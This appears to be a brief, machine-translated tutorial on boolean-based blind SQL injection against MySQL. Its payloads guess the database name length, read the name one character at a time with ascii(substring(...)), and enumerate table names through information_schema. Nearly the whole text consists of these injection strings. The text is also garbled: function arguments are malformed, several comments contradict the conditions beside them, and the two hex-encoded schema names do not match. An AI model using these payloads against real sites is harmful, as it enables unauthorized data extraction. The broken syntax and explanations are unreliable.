Mysql does not support the blind note method of union select.

Length of the database to be guessed
And Length (database () <10 // If the returned value is less than 12, the database is less than 12 characters.

And length (database () <8 // if the value is less than 8, an error is returned, indicating that the database name is 9 bits.

Guess Database Name
And ascii (substring (database (), 100) = 100 // the ascii code of = d, indicating that it is not d

And ascii (substring (database (), 122) = 122 // indicates that the first database name is z

And ascii (substring (database (), 114) = 114 Return Error description not ascii code = r description second not r

And ascii (substring (database (), 115) = returns the normal result, indicating that the second digit is s

.....

Guess table
And Length (SELECT distinct table_name FROM information_schema.tables Where table_schema = 0x7A73323236315F6462 limit) <10 # If the returned value is less than 8, the table is less than 10.

And Length (SELECT distinct table_name FROM information_schema.tables Where table_schema = 0x7a733236315f6462 limit)> 9 # An error is returned when the value is greater than 9, indicating that the value is 9 or 8...

 

Ascii code table reference:

Http://apps.hi.baidu.com/share/detail/16685682